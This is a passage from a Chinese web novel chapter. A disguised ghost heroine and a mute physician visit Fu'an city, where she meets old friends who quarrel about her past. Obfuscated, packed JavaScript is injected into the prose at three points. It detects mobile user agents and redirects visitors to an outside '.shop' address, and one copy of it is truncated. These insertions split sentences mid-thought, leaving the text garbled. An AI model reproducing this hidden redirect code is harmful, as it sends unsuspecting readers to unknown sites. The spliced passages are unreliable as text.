对面的褚昀见云挽灵心思漂移,没再关心怪声的事儿,暗自松了口气,指尖勉强镇定地划过书页。 云挽灵再没有于睡梦中被怪声吵醒,连着两日一觉睡到日上三竿。 她洗漱完坐在饭桌前,顺手将褚昀的医书连带几张稿纸放在一张空凳上,怕它们溅上饭菜的油污。 饭后,褚昀收拾着碗筷,状若无心地支着耳朵听云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420672|200832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挽灵和小白狐有一搭没一搭地讲闲话,却迟迟没等到她和自己说什么。 云挽灵正懒懒地蹭小白狐软乎乎的肚皮呢,只听一阵噼里啪啦的动响,褚昀一个人坐在屋外刷起了碗。 云挽灵奇怪,唤了一句:“褚昀?” 褚昀置若罔闻,闷声不吭。 云挽灵丈二和尚摸不着头脑,不知自己怎么就惹褚昀生气了。 这是生气吧? 她略一思忖,忍痛放下小白狐,顺了把扫帚,破天荒地动手扫起了地板,一路将寥寥无几的零星灰尘扬到门口。 褚昀湿着手,轻叹了声,从云挽灵手中拿过扫帚,擦干净手后径直拉着她坐回板凳,并往她怀里塞了几个开口的熟板栗。 他抽出医书下压着的一张纸,手起笔落,在一张纸上写道: 离开前,我会将屋子收拾干净,不必担心;三餐可与寺中师傅同吃,省却洗碗工夫;另,近来山中降温,柜中厚褥随取随用;谨记,日落前须归家,晚间非必要勿外出,山林多野兽,不宜涉险。 “你去哪?”云挽灵看出来了,褚昀要走。 “......” 褚昀将那张写得密密麻麻的纸翻了个面。 上面道:明日我要进扶安城,按例在同心医馆义诊七日,可愿同行? “早说呀,去去去。” 云挽灵恨不能翻个筋斗云立即到城里去,连日来没人和她说话,她真是要憋坏了,山鸡也吃腻了,她早就想去个美食云集、人群熙攘的热闹地遛遛。 什么隐居世外,那是无欲无求之人的向往,她是一只七情六欲样样不缺的女鬼,就要去人气鼎盛的地方纵情玩乐。 思及此,云挽灵面上难抑雀跃。 褚昀扶额。 “可以吗?”云挽灵用牙齿开着板栗壳,象征性地问一句。 白狐听了两人的对话也凑近过来,眼巴巴地看着褚昀,它也想去,它从小到大还没进过城呢。 褚昀在四只眼睛的期许中点了头,又娴熟地将板栗剥开,把黄澄澄的栗子肉放到云挽灵手里。 云挽灵连声道谢,砸吧砸吧品尝粉糯的板栗时,想起什么,问了句:“扶安城是不是有一家茶果铺,里面的栗子酥特别好吃?” 褚昀剥壳的动作一滞,云挽灵察言观色,有心地解释一嘴:“我突然想起来的,只想起有这么一家铺子。” 褚昀点头,提笔写道:买。 有了上次赶路去药王谷的经验,褚昀学聪明了,下山后租了两匹马,与云挽灵各骑一匹前往扶安城,白狐则躺在为它量身定制的竹篓里,挂在马背上。 白狐颈上挂了只漂亮的银铃,随着行路的颠簸,泠泠作响,教人一看就知此狐有主。 它很喜欢自己的新玩具,收到的时候头都仰上了天,在云挽灵面前炫耀不已,好一派我有你没有的得意嘴脸。 云挽灵脸都绿了,本以为那夜看见的银铃是褚昀送给自己的,没想到最后成了白狐的项圈装饰。 她既为自己的自作多情尴尬无语,又对褚昀的偏心忿忿不平,气得路上对他爱答不理。 褚昀慢了云挽灵半个马身,对她突如其来的冷谈一头雾水,不知该近该远。 他也无法问,只能悄无声息地摩挲着袖中仍未完工的缠枝紫薇纹香铃,独自在心里默默倒数着日子。 11. 今不比昔风云去也 临行前,褚昀在云挽灵脸上捣鼓了一通,又是施药,又是扎针。 药王谷那一夜后,云挽灵时刻提防着,担心自己再被轻易认出来,今晨褚昀直接为她施了套易容术。易容术只需三日一续,有效期内,她都可以顶着这张清秀朴素、如假似真的脸皮随心所欲。 如此,她大摇大摆地骑马进入扶安城时,竟无一人认出她就是当年大名鼎鼎、风头无量的云挽灵。 想当年,“云挽灵”三个字在扶安城乃至大魏都城羲京都无人不知无人不晓。 她生性骄恣,行为乖张不羁,十岁随父任职扶安城时开始打架闹事,十四岁回到羲京就敢在王公贵族济济的学堂里扯断老夫子的白胡须,十七岁重返扶安时已是闻名遐迩的风流纨绔。 人人都说她恃宠而骄,天底下没几人是放在眼里的。 谁让她母亲是现任扶安城刺史,坐镇大魏中枢之地。 扶安城是个什么地方? 自古兵家必争之地,既是大魏南北轴心陆路要冲,又是横贯东西的无忧河流经的主城。 简而言之,扶安城乃南船北马的六道通衢,是当之无愧的大魏第一城。 扶安城上一任刺史是谁? 巧了,是云挽灵的爹。 他爹秦颂之虽出身寒门,但才华超群,是元庆三十年金榜题名的状元郎。 纵使外界非议秦颂之入赘云家是势利攀附,可云瑛与他确是两情相悦的眷侣,甚至还是彼此初恋,两人成亲不久后,云挽灵含着金汤匙出生了。 只可惜,天妒英才,秦颂之因心疾早逝。 再说云挽灵最强硬的后山 ——外婆云崇葳。 云崇蔚白手起家,一路高升,从边北鸣雁城小小一位司法参军摸爬滚打,成为六部第一位女尚书,掌管刑部。迄今已在朝为官三十年,根基深厚,人称“铁面铜牙”。 她为官铁面无私从不结党,且舌如利刃,在朝堂上常常呛天怼地毫不留情,专唱白脸,手腕亦是极为强硬,与外荏内厉的丞相宋悯玉可谓刚柔相济。 更巧了,一人之下万人之上的大魏第一女相宋悯玉与云崇蔚乃莫逆之交。 云挽灵还当过宋悯玉的学生。 试问,普天之下,但凡晓得云挽灵身世的,谁敢招惹? 何况云挽灵此人睚眦必报又手段顽劣。 她活着的时候,最喜欢走街串巷,仗着轻功了得,来去神不知鬼不觉,若是有人背后碎嘴,讲她坏话,那是极容易被听见,然后惨遭一通报复,若是恰好做了什么事碍着她眼,这人多半也只能自求多福。 她向来有仇当场就报,绝不过夜,尤爱将人倒挂金钩,吊到房梁上练习射箭技巧,等三发连射,统统正中此人捧在胸前的靶心,才会高兴地将人放下。 不过有一说一,让云挽灵这样收拾的人,也多半是寻常人敢怒不敢言的混痞恶霸小人之流,细数此流,没在她的箭矢下喊过姑奶奶求饶命的,还真寥寥无几。 因此总有人在她替大家出一口恶气后拊掌欢呼,颂她是个古道热肠的当世侠女,云挽灵对此十分受用。 然,一朝身死后,流言如潮、臆测纷纷,弄得满城风雨。 有关云挽灵为何死、怎么死的故事不知养活了多少酒楼茶馆的说书人,满足了多少双猎奇听客的耳,又让多少长舌人捕风捉影地侃侃而谈大半年。 世人大多关心和炮制的都是她的风流韵事。 至于她生前惩恶扬善的侠义之举,早被淹没至寂寂。 有人提,没人在意而已。 如今,这位世人口中的风云人物在他们眼里只是个再普通不过的乡里人,骑着匹再普通不过的棕毛马,悠然穿行于市井之间,对小摊小贩上售卖的一切玩意都兴味盎然。 “褚昀褚昀!我想要这个。你见过碗里面画了只小老鼠的吗?” “哈哈哈哈,谁忍着恶心用这个吃饭啊。不过,可以用来喂小白,她不是最爱吃小田鼠吗!” 白狐从竹篓探出头来,恶狠狠地瞪着云挽灵表示抗议,它才不要用品味如此低俗的东西。 抗议无效,褚昀已经付钱了。 云挽灵一路上赌气没和褚昀说几句话,来了扶安城见到琳琅满目的新奇玩意兴奋不已,心情好得不能再好,又见褚昀召之即来大方买单,自然而然忘了要装冷淡的事。 两人并辔而行,云挽灵炫耀着手里的小鼠偷烛漆食盘,见上面还歪歪扭扭地写着“君幸食”三个字,可爱得紧,突然舍不得给白狐用了,悔道:“哎呀小白你不喜欢就算了,我自己留着。” “褚昀褚昀,你回头把那只碗底画了小猫的也买下,这样我们就凑一对了。” 褚昀握着缰绳的手一紧,眸光闪烁,点了头。 云挽灵又顺了根冰糖葫芦,端了份桂花米酿冰浆啜饮着,不忘给白狐喂一串街边炙烤的鸡肉丸。 褚昀跟在旁边一一付钱。 路人见在小摊小贩前一惊一乍的云挽灵,纷纷投来异样的目光,鄙夷她没见过世面。 云挽灵不以为意。 当同心医馆老掌柜的女儿郑盈盈见到褚昀身后跟着这么一个平平无奇的陌生女人时,也不免讶异,见识了此人饕餮般的食量后更是惊掉眼珠,在饭桌上几番欲言又止。 她终于忍不住问:“昀哥哥,之前从未见你下山义诊时带人来过。这位姑娘是?” 褚昀正欲取来纸笔解释缘由,云挽灵已经放下筷子,收整神色,先一步道:“失礼了,还未自我介绍。” “褚医仙乃是我的救命恩人。十日前我于城郊湖中落水,蒙恩人相救,却不幸失了记忆,四下举目无亲,只能暂且跟在恩人身边,也便力所能及地替恩人分忧,以尽报恩之心。” 郑盈盈回想起两人傍晚抵达时,褚昀任劳任怨替她卸下马背上小山似的各色玩意,再联想云挽灵口中“报恩”一词,嘴角忍不住抽跳。 昀哥哥还是太过心善,什么人都敢救,什么人都敢信,对谁都这样好。 郑盈盈不好意思当面拆台,只能勉力在青稚可爱的脸蛋上挤出个难看的表情。 “请问姑娘怎么称呼?”医馆的老掌柜礼貌问。 云挽灵思索片刻,答道:“林晚云。” “林姑娘,既然你是阿昀带在身边的人,那就是我们的客人,这些时日你安心在医馆住下,有什么需要尽管提。”老掌柜笑得憨厚,语气十分真诚。 “如此,多谢老伯,我听恩人的安排。”云挽灵盈盈一笑,看向褚昀。 这对父女对褚昀的称呼都很亲昵,比之仙湖村一群连他姓是名谁都不知道的人来说,他们与褚昀的交情一定不浅。 褚昀颔首向老掌柜表示谢意,他察觉到云挽灵的视线,托起她放在膝上的右手,在她掌心写道:安心住下。 云挽灵轻“嗯”一声,她横竖是跟随褚昀而来,自然听从他的安排。 同心医馆虽小,后院的房间不少,寻常会提供给需要静养观察的病人,最近都是空置。 云挽灵和白狐被安排到褚昀原先的房间,那儿是正儿八经用以起居的厢房,没有住过病人,紧挨着老掌柜的主屋和郑盈盈的次卧。 晚上,云挽灵正在收拾自己在街上买的零碎玩意,她拿着一只竹编的小蛇,钓鱼似地逗着白狐。 房门被人敲响,云挽灵以为是褚昀,开门一见,原来是送被褥的郑盈盈。 小姑娘正值二八,娇小的个子垫了脚跟也只到云挽灵肩高,此刻怀里抱着的被褥将她上半身掩得只剩一片毛茸茸的头顶。 “你还不帮忙吗?”她嗔道,动作摇摇晃晃,的确要不堪重负了。 云挽灵忙接过手,道:“辛苦妹妹啦。” “谁是你妹妹。”郑盈盈甩了甩酸痛的胳膊,哼道:“你少跟我套近乎。” “那我怎么称呼你呢?”云挽灵好笑道。 “郑盈盈,叫我郑盈盈。” “好的,谢谢你,盈盈。” 郑盈盈还是不喜欢她这样亲昵的称呼,却也懒得纠正,她探头往屋里瞧了瞧,只见白狐在床上和竹蛇斗得正欢,没有扫见褚昀的身影,略略松了口气。 云挽灵看穿不说破,莞尔道:“盈盈还要进来玩玩吗?” 郑盈盈瞟她一眼,拒绝道:“不要。” 虽然这样说,人却没离开。郑盈盈低着头,支起鞋尖在地上来回画着圆圈,迟迟没说话,不知是酝酿,还是踌躇。 “没有事的话,我就要铺床休息了,抱着这么沉的被褥好累哦。”云挽灵故意激她。 “那是你傻,不能把被褥放了再和我说话吗?” “那你不如进来说?” “行吧。” 郑盈盈不情不愿半推半就地进了门,目光在云挽灵那堆玩意上挑挑拣拣,想不通她这么大的人怎么会对这些幼稚东西感兴趣。 “喜欢什么,就拿走吧,我送给你。”云挽灵大方道,背着身开始着手铺床,白狐咬着竹蛇自觉跳到了床下。 “这些我自己都能买。” 郑盈盈终于是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420673|200832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住,直接开口道:“你到底是什么人......” “你跟在昀哥哥身边,有什么居心?” 云挽灵脚底一滑,差些栽倒在床。 自己长得很可疑吗? 还是自己做了什么很可疑? “我说过的,褚昀救了我,我失忆了,找不到亲人也没有地方去,所以跟在他身边报恩。”云挽灵坐在床上,颇有耐心地再重复解释了一遍。 可惜面前的小姑娘不好糊弄,她语气坚定,目露怀疑:“你失忆了,却记得自己的名字?” “记得自己的名字,不是可以向官府求助,让他们帮你找家人吗?” “为什么还要赖在昀哥哥身边?” 云挽灵轻笑一声,的确是自己失了算,没想到小姑娘还挺精明伶俐,能抓住一个名字想到这层,她只能另找托词道:“我自己的名字的确不记得。但这个名字,是恩人赐的。” 郑盈盈没预料过这个回答,小声将“林晚云”这个名字来来回回念了几遍,又发现端倪,她皱眉道:“怎么昀哥哥给你取了这样的名字,真是晦气!” 云挽灵皮笑肉不笑,心中不平:这个名字怎么了。 郑盈盈好心解释,语气却忿忿:“这个名字和前两年死了的‘云挽灵’名字太像,简直是倒着念的,她可不是什么好人,也就昀哥哥在她身上吃了这么多亏,还记着她名。” 云挽灵脸上的笑容开裂,一口气翻涌而上,堵在嗓子眼。 她问:“话说你这么担心我跟在恩人身边居心不良,莫不是他以前好心却遭了别人的害?” “就是这位……云挽灵?” 郑盈盈故作深沉地叹息,一副说来话长又不可轻言的表情,只道:“昀哥哥不喜欢别人谈论这件事,阿爹也不许我随意评价她,因为她是刺史大人的女儿,可是大家明明都心知肚明。” 云挽灵感觉身下有什么硌着自己,弄得不太舒服,她掀开铺好的床垫,果然找到一粒小小的黑色珠子,是那只竹蛇掉落的一只眼睛。 郑盈盈见云挽灵居然不好奇,不等她追问,自己憋不住,又倒豆子似地又哗啦啦道:“大家都心知肚明,她是个飞扬跋扈,仗着权势专门欺负平头百姓的人,还、还是个脚踏两只船的负心女。” 云挽灵听见别人口中这样评价自己,心里实在不是滋味,从冥间到阳间,鬼鬼人人都说她坏,说她死有余辜、罪有应得。 可连她自己因为忘却过往都看不清内心,其他人又究竟了解自己多少,为什么、凭什么都用恶毒的判词来断言自己的好坏。 “盈盈,或许,多数人口中所说的,不一定是这个人的全貌,甚至并非这个人真正的品性。”云挽灵声音淡淡的,却字字清晰。 郑盈盈刚想要辩“但大家都这么说肯定不会有假”,又想起褚昀也说过类似的话,才姑且赞同了云挽灵的说法。 “总之,昀哥哥是好人,我也看得出来,他待你很上心。你最好真的是在他身边报恩,若是欺他瞒他害他,我、我可不会放过你。”郑盈盈攥拳在空中挥舞示威。 云挽灵被逗得一乐,也不管小姑娘方才如何说自己,她将那颗黑珠重新安放在竹蛇上,随手还给白狐,然后走到郑盈盈身边,以迅雷不及掩耳的速度在她乌黑柔软的发顶摸了摸。 郑盈盈猝不及防,她气急败坏,跺脚道:“我和你不熟,你摸我头干嘛?” “你可爱呀。”云挽灵一脸无辜相,心里想的却是,要有这么个真性情的小姑娘也如此维护她,她可得烧支高香,将此人收为义女或者拜为金兰姐妹。 郑盈盈被夸了可爱,讪讪收了脾气,嘴里念着“我知道,用得着你说”。 她心头的怀疑暂且打消,也不多待,转身离开了。 她前脚一走,褚昀后脚就来,他刚沐浴完,本是来为云挽灵铺床的,但她自己收拾好了,人都已经躺了上去,此刻双目盯着屋顶,不知在想什么。 褚昀走得很近,云挽灵才嗅到他身上温润的清香,还有一丝若有若无的药草味。 云挽灵脑袋悬空,倒吊在床沿,青丝流瀑随意曳地,褚昀颠倒在她的视线里,她看他,却没说话。 不知为何,褚昀觉得云挽灵蔫蔫的,与白日里兴致冲冲的她全然两样,他俯身托起云挽灵的脑袋,在她掌心写道:怎么了? 云挽灵答:“累了。” 褚昀不再多问,写道:明日去买栗子酥。 云挽灵沉吟片刻,似乎回忆起栗子酥的美味,又嘻嘻笑道:“好呀。” 12. 遇故人动念问前生 褚昀下山到同心医馆是例行义诊。 既是义诊,自然不收费用,他的医术高明又远近皆知,由此慕名而来的人大清早就将医馆里外堵得水泄不通。 他们大都是些生活在城南的贫穷户,生活已是不易,寻常小病小痛都靠身体忍下,哪敢看医抓药,生怕兜里的几点钱被霍霍干净,若是罹患不治之症更是放弃挣扎。 虽说有昔年疫乱一药难求的前车之鉴,官府这些年严控全城医馆的诊费和药价,但扶安城南区一直是贫民聚居之处,且流行疾病和疑难杂症都不少,即便长期受官府关怀,看病依旧是个难事。 褚昀的出现和同心医馆的存在,于城南的贫穷百姓而言的确是福荫。 云挽灵听那群看病的人如是而说。 这会儿老掌柜忙着按方抓药,郑盈盈给他打下手也忙得脚不沾地,几个学徒在后院热火朝天地煎药,云挽灵不想偷闲,便帮衬着照顾病人,不时替口不能言的褚昀向稀里糊涂的病人传达下意思,避免病人看见褚昀不苟言笑的脸,吓得以为自己害了绝症。 忙活一天,转眼便至薄暮,医馆终于闲静下来,只剩稀稀落落的几道人影,云挽灵这下在帮郑盈盈打包药材,见她面上漫不经心,小姑娘一直紧张地提醒:“这是贵重药材,小心点。” 云挽灵表情随意,手法却利落稳重,三两下将这叫不出名字的珍稀药材打包完毕,问:“好了,给谁?” “尚府会派人来取,放着就好。” “尚府?”云挽灵脑海中白光一闪,琢磨起这个听来熟悉的“尚”姓。 “扶安城第二大富商你不认识?仅次于虞家的存在。”郑盈盈一边嫌弃云挽灵太过孤陋寡闻,一边语气里带着些骄傲道:“这药可是尚家少夫人亲自派人来医馆要的,用来养胎呢。” 话音方落,门外便进来个大户人家小厮装扮的人,那人朝褚昀礼貌躬身、一番问好后,轻车熟路地找到郑盈盈,道:“郑姑娘,替我家少夫人取药来了。” 郑盈盈将打包好的药材兼一张褚昀手写的药方都隔着柜台递过去,甜甜一笑道:“劳烦替我们向少夫人问个好。” “那是自然的。郑姑娘,这是药材钱,你收好。” 云挽灵看见柜上一锭熠熠发光的金元宝,惊落了下巴,情不自禁拿着掂了掂,真够沉的,她疑道:“这药材再金贵,也不值这么多吧。” 郑盈盈一把夺过金锭,小心翼翼收入囊中,道:“你懂什么呀,这是少夫人的善心。” “今日你们送出的药材没收几个钱,原来是要逮着有钱人家宰呀,这算劫富济贫吗?”云挽灵玩笑道。 “来看病的大多是穷人,那药材都是按进货价便宜卖的,有些我们都不收钱,但是医馆也要运转呀,所以对一些听闻了昀哥哥名气特来求医的富人,我们就会多收些嘛,反正他们也不缺钱。” 郑盈盈稍顿,特意道:“但少夫人不一样,她是自愿的,她又是昀哥哥的故交,亲口说过余下的钱两用来补贴医馆。” 倒是个善心的好人,云挽灵心想。 带着这个念头,她转头看向褚昀,他已经诊治完今日最后一个病人,起身揉着酸痛的肩颈走来。 云挽灵见他这样辛累,便纠结要不要放弃出门的计划。 褚昀已经行至云挽灵身侧,托起她的右手,在她掌心写道:栗子酥。 “还去吗?你这样累。”云挽灵问。 褚昀愕然一瞬,似乎在想云挽灵这句话是不是关心。 他点头,意思是去。 “你们要去哪?”郑盈盈不乐,努嘴问道。 云挽灵主动牵起褚昀的手,另一手又在小姑娘头顶轻轻一摸,笑道:“大人的事,小孩少管哦。回来给你带好吃的。” “哼!”郑盈盈望着两人走远的背影,正闷闷不乐地腹诽,一只雪白的身影从她裙边掠过,她吓了一跳,视线追去,一条摇摆的尾巴已经在医馆门外消失不见,耳边只残留几声摇铃之音。 郑盈盈未作深想,扭头回了屋。 · 卖栗子酥的茶果铺靠近城北,云挽灵和褚昀骑马而行,花了快半个时辰。 栗子酥是此店招牌,卖得红火,说起来还是云挽灵推波助澜,让这间原本名不见经传的小店兴起的。 那时她是名副其实的风云人物,吃穿用度无一不受人点评,自然也有人跟风,甚至追捧,她品尝了这家茶果铺的栗子酥后,放言“不输羲京仙籁阁宝栗酥半分”,由此栗子酥一炮而红,日售千份不止,不到一年,店主赚得盆满钵满,将她那混账丈夫背负的巨额赌债还了个干净。 自从云挽灵过世后,这家店不比当年门庭若市,但招牌栗子酥还是凭借口味一流畅销不衰。 今日云挽灵和褚昀来的恰是时候,正好买到最后一份。 店主将包好的栗子酥递给褚昀,忍不住寒暄:“好久没见到褚公子了,近来可安好?今日的栗子酥一直给你留着呢。” 褚昀是常客,因此店主记得,他每个月的这一天都会来,以往是徘徊在铺外,似乎是等谁,直至栗子酥将快售罄,他才会进来买下最后一份,然后失望地离开,但这两年里他改了习惯,变成直接进门买一份栗子酥就走,不言语也不停留。 褚昀未答,侧目去看云挽灵,她正津津有味地试吃店内新品芙蓉酥,两耳未闻身外事。 他默不作声地舒了一口气,将栗子酥放在云挽灵手里时,不经意间触碰到她冰凉的指尖,云挽灵抬眸,朝他莞尔一笑,明媚生风。 褚昀眸光微颤。 他指了指云挽灵手里的芙蓉酥,示意店主一并包起来。 云挽灵心满意足,将栗子酥塞了满口,等着褚昀付钱买单。 “咦?” 云挽灵之前没注意过褚昀装钱的物件,今日一看,不是什么荷包锦袋,而是一张方形的红纸封,又旧又小,最多装几个铜板,要么只能折了银票放进去。 红纸封虽然保管得善,没有褪色的痕迹,但毕竟是纸,用久了边缘磨损不可避免,因此四角都是毛边,看上去危在旦夕。 更匪夷所思的是,褚昀还将这红纸封外层层密封了几方丝巾。 难怪他付钱这样慢吞吞。 云挽灵眉毛轻挑,调侃道:“褚昀,你把钱装在这里面,不怕它破了,铜钱都掉落出来吗?”说着,她探头过去,有意细看红纸封上几枚墨色的字迹,却被褚昀挡住了。 “这上面写了什么?” “给我看看嘛。” 褚昀将那红纸封收入怀里,没有答应,只在云挽灵掌心写道:不会破的。 云挽灵悻悻作罢,旁光却见褚昀面上飘过一丝落寞之色。 她怀疑自己随口一说给了他难堪,毕竟人家一贯作风节俭,能自己动手丰衣足食就不会花钱买,行医也权作善事不收分毫,用严实的方式谨慎保护有限财产也无可厚非。 这样一想,云挽灵被栗子酥噎住了,她顺了顺气,试探道:“要不,我想办法给你买一个荷包?” 褚昀垂眸看她,怔愣片刻,竟难得腼腆地点了头,眼下那枚小痣一动,衬得笑意浅浅。 云挽灵最受不住他这么笑,心尖像有轻飘飘的落花拂过,赶紧逃也似地往前快走了几步,把褚昀和他的笑统统抛至身后。 她一脚还未踏出门槛,门外就响起一道财大气粗的男音。 “掌柜的,把你这的糕点每样给我打包一份!” 谁这么豪横?云挽灵循声看去,来人是个面色红润,身形略显圆滚的年轻男人,身着锦衣华服,镶金玉冠之下,两只招风耳自带洋洋福气,一眼便知是个养尊处优的贵公子。 这位贵公子怀里正宝贝似地拥着一位容貌清丽、气质婉约的女人,她面上挂着恬淡的微笑,令人倍感亲近,小腹处微微隆起,应是怀有身孕。 云挽灵见了他们,脚步一滞,记忆忽如纷纷飞絮,心觉分外熟悉。 他们进了门,见了褚昀,皆不可思议。 男人如见宿敌,脸色立刻就垮,率先亮了唇枪,讥讽道:“哟,我当是谁呢,原来是褚昀,褚大医师,真是冤家路窄。好久不见,看你无恙,哎,我这心里真不得劲。” 他怀中的女人秀眉紧锁:“怀春,不要这样,太过无礼。” “瑾儿,你还帮着他说话?你难道不知道,要不是这个忘恩负义的狗东西,阿灵能遭这么多骂吗?” 男人越想越气,袖子往上一撸,冲上前指着褚昀的鼻子,骂道:“你这忘恩负义的狗东西,阿灵当初对你多好,给你吃给你喝还给你穿,甚至带你去射猎。你倒好,出了事情一个人逃之夭夭,留下阿灵独自面对那些风言风语。” “到最后,你这狗东西还要倒打一耙,不是说阿灵害你残疾了吗?你怎么还有手有脚地站在这里?” “我早就说过,配得上阿灵的只有长清,你就是个道貌岸然的狗屁。” “怀春!” 女人扶着肚子上前拉住男人的衣袖,语气严肃:“别再说了。” 她略带歉意地朝褚昀微施一礼,道:“我家夫君冒犯了,还请褚公子莫往心里去。” “瑾儿,你还对他这么客气!”男人恨不得将面上风轻云淡的褚昀踹翻在地,他也真这么做了,可惜拳脚迟钝,褚昀稍一错身,他踹了个空,险些自个摔倒,因此怒气更甚:“你还敢躲?小爷我迟早找人弄死你,替我们阿灵出气!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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店里伙计见这不好惹的尚小公子终于熄了火,这才弱弱出声:“尚、尚公子,点心都给您包好了。只是......店里招牌的栗子酥方才已经卖给这二位客人了。” 尚怀春一听,登时又怒眉倒竖:“什么意思,阿灵最喜欢的栗子酥,你就这么用来讨好新欢?” “姑娘我可提醒你,擦亮眼睛看男人,小心着了这狗东西的道!” “怀春,不要再拿阿灵的名义出言不逊了,到此为止吧。”说罢,赵瑾儿甩袖转身,扶着肚子径直上了马车。 尚怀春急急去追,店里伙计跟在他身后忙问:“公子,这点心还要不?” “废话,要要要,全部送到府上去!” 一场突如其来的闹剧就这样潦草收场,云挽灵甚至来不及同两位故友说上几句话。 她看向手里提着大大小小盒装点心的伙计,那人面上犯难,有点手足无措,刚刚见识了尚怀春暴躁发怒的样子,心里正发怵,既不敢违命得罪,又不敢真去府里,怕一不小心成了这位大人物的出气筒。 “我们顺路,不若替你送一趟?”云挽灵道。 那苦命伙计如蒙大赦,鞠躬感激道:“多谢、多谢客官。” 云挽灵衔笑,摆摆手道:“举手之劳。”她伸手要去接那点心盒,却被身后的褚昀先行截下,全部提在了手里。 “我一个人去吧,你先回医馆,免得郑伯和盈盈久等。对了,记得将芙蓉酥给盈盈带过去。”云挽灵边说边要从褚昀手中又将几盒点心拿回来。 褚昀双手往后一收,云挽灵毫无防备,差点扑入他怀中,迅速扶住他腰身才堪堪稳住身形,她索性保持这个姿势道:“怎么?不放心?我很快就会回来,我保证。” 云挽灵眸光澄亮,语气不似有假。 可褚昀担心的不是这个。 “你怕我将他们的话放在心上?” 褚昀眉头微皱,迟疑了一会儿才点头,薄唇翕动,有几分欲言又止。 “我只会相信自己看见的。”云挽灵睫帘垂落须臾,再抬眸,如有一泓春水,她续道:“我说过,自己忘记了很多事,但是我想要回忆起来。” “褚昀,你不会拦我,对吗?” 其实说到底,两人连日来能和平相处,一是因为云挽灵失忆,二是因为褚昀对过往闭口不提。 可遗忘和沉默并不能将曾经恩怨一笔勾销,云挽灵想要知道真相。 诸般说辞中,向来云挽灵是始乱终弃的那个,是作恶的人,可今日在尚怀春口中,云挽灵成了被背叛的受害者。 她并非觉得褚昀是恩将仇报之人,几日相处中,他的心性,她心底有数。 但她也开始不再相信自己是世人唾骂的那样。 其间或许有误会,她要弄清楚。 褚昀指节泛白,良久之后,他才放下手里的东西,在她掌心写道:送你去,我再走。 “嗯。” 13. 扶安城白狐夜袭人 尚府的恢弘气派不必多言,府内九转回肠、弯弯绕绕,云挽灵跟在一个小丫鬟身后,穿过一进又一进的院落,终于见到了侧躺在须弥软榻上闭目养神的赵瑾儿。 云挽灵的视线在她面上轻扫,不免感慨,一别经年,这副容颜竟丝毫未改,气质却是比从前少女时要端庄稳重多了。 “少夫人,兴味茶食差人送点心来了。”丫鬟恭敬地禀报。 其实云挽灵能进来,早先就有人通报过赵瑾儿了,得了应允才放的人。 赵瑾儿闻言坐起身,淡声道:“知道了,退下吧。” “姑娘请坐。” 云挽灵依言挑了张檀木圈椅规规矩矩地坐下,赵瑾儿斟了杯热茶亲自递给她,道:“今日多有冒犯,让姑娘见笑了,这杯茶替我家夫君赔个不是。” 云挽灵一边接茶,一边摆手道:“不必不必,这其中大概是有误会的,尚公子性情中人,直言快语,阿兄定然不会挂心。” 赵瑾儿一笑:“如此便好。对了,还未请教姑娘名讳。” “林、晚云。”不知怎地,这三个字说出口竟有点羞耻,云挽灵莫名生出一种在老友面前端架子装糊涂的尴尬,她只能赶在赵瑾儿琢磨出这三个字的不对劲前又道:“少夫人若不介意,唤我晚云也可,‘晚来天欲雪’的‘晚’,‘浮云’的‘云’。” 赵瑾儿不动声色,须臾,又问:“我与褚大夫也算旧相识,从未听闻他有个妹妹。” 云挽灵将那套落水被救、报恩跟随的说辞又翻来覆去地说了一遍,勉强让赵瑾儿信服,她心里斟酌着语句,这会儿该轮到她发问了。 郑盈盈说过,赵瑾儿接济同心医馆的原因之一是她和褚昀是故交,方才她自己也承认两人相识,可他的丈夫却是恨不得将褚昀扒皮吃骨,口口声声说褚昀有愧于云挽灵。 这夫妻二人天差地别的态度让云挽灵产生了好奇,她直觉赵瑾儿必然知道些隐情,否则怎么会两边护,既没有站在云挽灵一边对褚昀怀恨,也没有站在褚昀一边对云挽灵不满,这绝非是她玲珑世故、左右逢源,凭她的身份地位,也没这个必要。 “少夫人,其实我此番前来是想好奇之前到底发生了什么事,能让尚公子对阿兄如此......不待见。” 赵瑾儿撇去茶沫,抿了一口,委婉道:“林姑娘,抱歉,我不喜欢议论他人私事。” 云挽灵无解于赵瑾儿不冷不热的拒绝,自己总不能将她绑起来逼她说吧。她悻然地将茶盏放下,片刻后眼珠一转,从一堆点心里头挑出栗子酥,含笑道:“今日我们买走了店里最后一份招牌栗子酥,少夫人若不嫌弃,可以收下这份解解馋。” 赵瑾儿看着云挽灵手里捧着的栗子酥,愣了一愣,叹了声气,道:“这是阿灵的心头好,我是不太爱吃的。” “少夫人和这位阿灵姑娘的关系一定很好吧。”云挽灵小心试探。 赵瑾儿似乎怀念起曾经同云挽灵开怀玩乐的少女时光,嘴角漾开一丝笑意:“嗯。在我心里,我们是很好的朋友。” 她说这句话的时候目色太过温柔,比之现在对云挽灵不咸不淡的态度,实在天壤之别。 云挽灵心中怅然,又不好自揭身份,只能继续循循善诱:“这样说起来,少夫人同阿兄和阿灵姑娘都是故交。” 